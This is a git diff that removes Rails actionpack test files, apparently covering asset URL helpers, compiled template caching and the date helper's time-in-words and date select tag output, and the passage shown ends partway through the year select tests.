-    assert_dom_equal(%(/collaboration/hieraki/javascripts/foo.js), javascript_path("foo"))
-    assert_dom_equal(%(/collaboration/hieraki/stylesheets/foo.css), stylesheet_path("foo"))
-  end
-end
-
-class AssetUrlHelperControllerTest < ActionView::TestCase
-  tests ActionView::Helpers::AssetUrlHelper
-
-  def setup
-    super
-
-    @controller = BasicController.new
-    @controller.extend ActionView::Helpers::AssetUrlHelper
-
-    @request = Class.new do
-      attr_accessor :script_name
-      def protocol() 'http://' end
-      def ssl?() false end
-      def host_with_port() 'www.example.com' end
-      def base_url() 'http://www.example.com' end
-    end.new
-
-    @controller.request = @request
-  end
-
-  def test_asset_path
-    assert_equal "/foo", @controller.asset_path("foo")
-  end
-
-  def test_asset_url
-    assert_equal "http://www.example.com/foo", @controller.asset_url("foo")
-  end
-end
-
-class AssetUrlHelperEmptyModuleTest < ActionView::TestCase
-  tests ActionView::Helpers::AssetUrlHelper
-
-  def setup
-    super
-
-    @module = Module.new
-    @module.extend ActionView::Helpers::AssetUrlHelper
-  end
-
-  def test_asset_path
-    assert_equal "/foo", @module.asset_path("foo")
-  end
-
-  def test_asset_url
-    assert_equal "/foo", @module.asset_url("foo")
-  end
-
-  def test_asset_url_with_request
-    @module.instance_eval do
-      def request
-        Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
-      end
-    end
-
-    assert @module.request
-    assert_equal "http://www.example.com/foo", @module.asset_url("foo")
-  end
-
-  def test_asset_url_with_config_asset_host
-    @module.instance_eval do
-      def config
-        Struct.new(:asset_host).new("http://www.example.com")
-      end
-    end
-
-    assert @module.config.asset_host
-    assert_equal "http://www.example.com/foo", @module.asset_url("foo")
-  end
-end
diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb
deleted file mode 100644
index f5dc2fb..0000000
--- a/actionpack/test/template/compiled_templates_test.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-
-class CompiledTemplatesTest < ActiveSupport::TestCase
-  def setup
-    # Clean up any details key cached to expose failures
-    # that otherwise would appear just on isolated tests
-    ActionView::LookupContext::DetailsKey.clear
-
-    @compiled_templates = ActionView::CompiledTemplates
-    @compiled_templates.instance_methods.each do |m|
-      @compiled_templates.send(:remove_method, m) if m =~ /^_render_template_/
-    end
-  end
-
-  def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
-    assert_equal "one", render(:file => "test/render_file_with_locals_and_default")
-    assert_equal "two", render(:file => "test/render_file_with_locals_and_default", :locals => { :secret => "two" })
-  end
-
-  def test_template_changes_are_not_reflected_with_cached_templates
-    assert_equal "Hello world!", render(:file => "test/hello_world")
-    modify_template "test/hello_world.erb", "Goodbye world!" do
-      assert_equal "Hello world!", render(:file => "test/hello_world")
-    end
-    assert_equal "Hello world!", render(:file => "test/hello_world")
-  end
-
-  def test_template_changes_are_reflected_with_uncached_templates
-    assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
-    modify_template "test/hello_world.erb", "Goodbye world!" do
-      assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world")
-    end
-    assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
-  end
-
-  private
-    def render(*args)
-      render_with_cache(*args)
-    end
-
-    def render_with_cache(*args)
-      view_paths = ActionController::Base.view_paths
-      ActionView::Base.new(view_paths, {}).render(*args)
-    end
-
-    def render_without_cache(*args)
-      path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
-      view_paths = ActionView::PathSet.new([path])
-      ActionView::Base.new(view_paths, {}).render(*args)
-    end
-
-    def modify_template(template, content)
-      filename = "#{FIXTURE_LOAD_PATH}/#{template}"
-      old_content = File.read(filename)
-      begin
-        File.open(filename, "wb+") { |f| f.write(content) }
-        yield
-      ensure
-        File.open(filename, "wb+") { |f| f.write(old_content) }
-      end
-    end
-end
diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb
deleted file mode 100644
index 5f09aef..0000000
--- a/actionpack/test/template/date_helper_test.rb
+++ /dev/null
@@ -1,3201 +0,0 @@
-require 'abstract_unit'
-
-class DateHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::DateHelper
-
-  silence_warnings do
-    Post = Struct.new("Post", :id, :written_on, :updated_at)
-    Post.class_eval do
-      def id
-        123
-      end
-      def id_before_type_cast
-        123
-      end
-      def to_param
-        '123'
-      end
-    end
-  end
-
-  def assert_distance_of_time_in_words(from, to=nil)
-    to ||= from
-
-    # 0..1 minute with :include_seconds => true
-    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => true)
-    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => true)
-    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => true)
-    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => true)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => true)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => true)
-    assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => true)
-    assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => true)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => true)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => true)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => true)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => true)
-
-    # 0..1 minute with :include_seconds => false
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => false)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => false)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => false)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => false)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => false)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => false)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => false)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => false)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => false)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => false)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => false)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => false)
-
-    # Note that we are including a 30-second boundary around the interval we
-    # want to test. For instance, "1 minute" is actually 30s to 1m29s. The
-    # reason for doing this is simple -- in `distance_of_time_to_words`, when we
-    # take the distance between our two Time objects in seconds and convert it
-    # to minutes, we round the number. So 29s gets rounded down to 0m, 30s gets
-    # rounded up to 1m, and 1m29s gets rounded down to 1m. A similar thing
-    # happens with the other cases.
-
-    # First case 0..1 minute
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
-    assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
-    assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
-
-    # 2 minutes up to 45 minutes
-    assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
-    assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
-
-    # 45 minutes up to 90 minutes
-    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
-    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
-
-    # 90 minutes up to 24 hours
-    assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
-    assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
-
-    # 24 hours up to 42 hours
-    assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
-
-    # 42 hours up to 30 days
-    assert_equal "2 days", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 30.seconds)
-    assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
-    assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
-
-    # 30 days up to 60 days
-    assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "about 1 month", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 29.seconds)
-    assert_equal "about 2 months", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "about 2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
-
-    # 60 days up to 365 days
-    assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
-    assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
-
-    # >= 365 days
-    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years - 30.seconds)
-    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
-    assert_equal "over 1 year",     distance_of_time_in_words(from, to + 1.years + 6.months)
-
-    assert_equal "almost 2 years",  distance_of_time_in_words(from, to + 2.years - 3.months + 1.day)
-    assert_equal "about 2 years",   distance_of_time_in_words(from, to + 2.years + 3.months - 1.day)
-    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 3.months + 1.day)
-    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 9.months - 1.day)
-    assert_equal "almost 3 years",  distance_of_time_in_words(from, to + 2.years + 9.months + 1.day)
-
-    assert_equal "almost 5 years",  distance_of_time_in_words(from, to + 5.years - 3.months + 1.day)
-    assert_equal "about 5 years",   distance_of_time_in_words(from, to + 5.years + 3.months - 1.day)
-    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 3.months + 1.day)
-    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 9.months - 1.day)
-    assert_equal "almost 6 years",  distance_of_time_in_words(from, to + 5.years + 9.months + 1.day)
-
-    assert_equal "almost 10 years", distance_of_time_in_words(from, to + 10.years - 3.months + 1.day)
-    assert_equal "about 10 years",  distance_of_time_in_words(from, to + 10.years + 3.months - 1.day)
-    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 3.months + 1.day)
-    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 9.months - 1.day)
-    assert_equal "almost 11 years", distance_of_time_in_words(from, to + 10.years + 9.months + 1.day)
-
-    # test to < from
-    assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
-    assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => true)
-    assert_equal "less than a minute", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => false)
-  end
-
-  def test_distance_in_words
-    from = Time.utc(2004, 6, 6, 21, 45, 0)
-    assert_distance_of_time_in_words(from)
-  end
-
-  def test_distance_in_words_with_mathn_required
-    # test we avoid Integer#/ (redefined by mathn)
-    require 'mathn'
-    from = Time.utc(2004, 6, 6, 21, 45, 0)
-    assert_distance_of_time_in_words(from)
-  end
-
-  def test_time_ago_in_words_passes_include_seconds
-    assert_equal "less than 20 seconds", time_ago_in_words(15.seconds.ago, :include_seconds => true)
-    assert_equal "less than a minute", time_ago_in_words(15.seconds.ago, :include_seconds => false)
-  end
-
-  def test_distance_in_words_with_time_zones
-    from = Time.mktime(2004, 6, 6, 21, 45, 0)
-    assert_distance_of_time_in_words(from.in_time_zone('Alaska'))
-    assert_distance_of_time_in_words(from.in_time_zone('Hawaii'))
-  end
-
-  def test_distance_in_words_with_different_time_zones
-    from = Time.mktime(2004, 6, 6, 21, 45, 0)
-    assert_distance_of_time_in_words(
-      from.in_time_zone('Alaska'),
-      from.in_time_zone('Hawaii')
-    )
-  end
-
-  def test_distance_in_words_with_dates
-    start_date = Date.new 1975, 1, 31
-    end_date = Date.new 1977, 1, 31
-    assert_equal("about 2 years", distance_of_time_in_words(start_date, end_date))
-
-    start_date = Date.new 1982, 12, 3
-    end_date = Date.new 2010, 11, 30
-    assert_equal("almost 28 years", distance_of_time_in_words(start_date, end_date))
-    assert_equal("almost 28 years", distance_of_time_in_words(end_date, start_date))
-  end
-
-  def test_distance_in_words_with_integers
-    assert_equal "1 minute", distance_of_time_in_words(59)
-    assert_equal "about 1 hour", distance_of_time_in_words(60*60)
-    assert_equal "1 minute", distance_of_time_in_words(0, 59)
-    assert_equal "about 1 hour", distance_of_time_in_words(60*60, 0)
-    assert_equal "about 3 years", distance_of_time_in_words(10**8)
-    assert_equal "about 3 years", distance_of_time_in_words(0, 10**8)
-  end
-
-  def test_distance_in_words_with_times
-    assert_equal "1 minute", distance_of_time_in_words(30.seconds)
-    assert_equal "1 minute", distance_of_time_in_words(59.seconds)
-    assert_equal "2 minutes", distance_of_time_in_words(119.seconds)
-    assert_equal "2 minutes", distance_of_time_in_words(1.minute + 59.seconds)
-    assert_equal "3 minutes", distance_of_time_in_words(2.minute + 30.seconds)
-    assert_equal "44 minutes", distance_of_time_in_words(44.minutes + 29.seconds)
-    assert_equal "about 1 hour", distance_of_time_in_words(44.minutes + 30.seconds)
-    assert_equal "about 1 hour", distance_of_time_in_words(60.minutes)
-
-    # include seconds
-    assert_equal "half a minute", distance_of_time_in_words(39.seconds, 0, :include_seconds => true)
-    assert_equal "less than a minute", distance_of_time_in_words(40.seconds, 0, :include_seconds => true)
-    assert_equal "less than a minute", distance_of_time_in_words(59.seconds, 0, :include_seconds => true)
-    assert_equal "1 minute", distance_of_time_in_words(60.seconds, 0, :include_seconds => true)
-  end
-
-  def test_time_ago_in_words
-    assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
-  end
-
-  def test_select_day
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16))
-    assert_dom_equal expected, select_day(16)
-  end
-
-  def test_select_day_with_blank
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), :include_blank => true)
-    assert_dom_equal expected, select_day(16, :include_blank => true)
-  end
-
-  def test_select_day_nil_with_blank
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(nil, :include_blank => true)
-  end
-
-  def test_select_day_with_two_digit_numbers
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value="1">01</option>\n<option selected="selected" value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value=" [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), :use_two_digit_numbers => true)
-    assert_dom_equal expected, select_day(2, :use_two_digit_numbers => true)
-  end
-
-  def test_select_day_with_html_options
-    expected = %(<select id="date_day" name="date[day]" class="selector">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, :class => 'selector')
-    assert_dom_equal expected, select_day(16, {}, :class => 'selector')
-  end
-
-  def test_select_day_with_default_prompt
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(16, :prompt => true)
-  end
-
-  def test_select_day_with_custom_prompt
-    expected = %(<select id="date_day" name="date[day]">\n)
-    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_day(16, :prompt => 'Choose day')
-  end
-
-  def test_select_month
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16))
-    assert_dom_equal expected, select_month(8)
-  end
-
-  def test_select_month_with_two_digit_numbers
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">01</option>\n<option value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8" selected="selected">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2011, 8, 16), :use_two_digit_numbers => true)
-    assert_dom_equal expected, select_month(8, :use_two_digit_numbers => true)
-  end
-
-  def test_select_month_with_disabled
-    expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :disabled => true)
-    assert_dom_equal expected, select_month(8, :disabled => true)
-  end
-
-  def test_select_month_with_field_name_override
-    expected = %(<select id="date_mois" name="date[mois]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :field_name => 'mois')
-    assert_dom_equal expected, select_month(8, :field_name => 'mois')
-  end
-
-  def test_select_month_with_blank
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :include_blank => true)
-    assert_dom_equal expected, select_month(8, :include_blank => true)
-  end
-
-  def test_select_month_nil_with_blank
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(nil, :include_blank => true)
-  end
-
-  def test_select_month_with_numbers
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_numbers => true)
-    assert_dom_equal expected, select_month(8, :use_month_numbers => true)
-  end
-
-  def test_select_month_with_numbers_and_names
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true)
-    assert_dom_equal expected, select_month(8, :add_month_numbers => true)
-  end
-
-  def test_select_month_with_numbers_and_names_with_abbv
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true, :use_short_month => true)
-    assert_dom_equal expected, select_month(8, :add_month_numbers => true, :use_short_month => true)
-  end
-
-  def test_select_month_with_abbv
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_short_month => true)
-    assert_dom_equal expected, select_month(8, :use_short_month => true)
-  end
-
-  def test_select_month_with_custom_names
-    month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
-
-    expected = %(<select id="date_month" name="date[month]">\n)
-    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
-    assert_dom_equal expected, select_month(8, :use_month_names => month_names)
-  end
-
-  def test_select_month_with_zero_indexed_custom_names
-    month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
-
-    expected = %(<select id="date_month" name="date[month]">\n)
-    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month-1]}</option>\n) }
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
-    assert_dom_equal expected, select_month(8, :use_month_names => month_names)
-  end
-
-  def test_select_month_with_hidden
-    assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, :use_hidden => true)
-  end
-
-  def test_select_month_with_hidden_and_field_name
-    assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, :use_hidden => true, :field_name => 'mois')
-  end
-
-  def test_select_month_with_html_options
-    expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
-    #result = select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
-    #assert result.include?('<select id="date_month" name="date[month]"')
-    #assert result.include?('class="selector"')
-    #assert result.include?('accesskey="M"')
-    #assert result.include?('<option value="1">January')
-  end
-
-  def test_select_month_with_default_prompt
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(8, :prompt => true)
-  end
-
-  def test_select_month_with_custom_prompt
-    expected = %(<select id="date_month" name="date[month]">\n)
-    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_month(8, :prompt => 'Choose month')
-  end
-
-  def test_select_year
-    expected = %(<select id="date_year" name="date[year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005)
-    assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005)
-  end
-
-  def test_select_year_with_disabled
-    expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :disabled => true, :start_year => 2003, :end_year => 2005)
-    assert_dom_equal expected, select_year(2003, :disabled => true, :start_year => 2003, :end_year => 2005)
-  end
-
-  def test_select_year_with_field_name_override
-    expected = %(<select id="date_annee" name="date[annee]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :field_name => 'annee')
-    assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005, :field_name => 'annee')
-  end
-
-  def test_select_year_with_type_discarding
-    expected = %(<select id="date_year" name="date_year">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_year(
-      Time.mktime(2003, 8, 16), :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
-    assert_dom_equal expected, select_year(
-      2003, :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
-  end
-
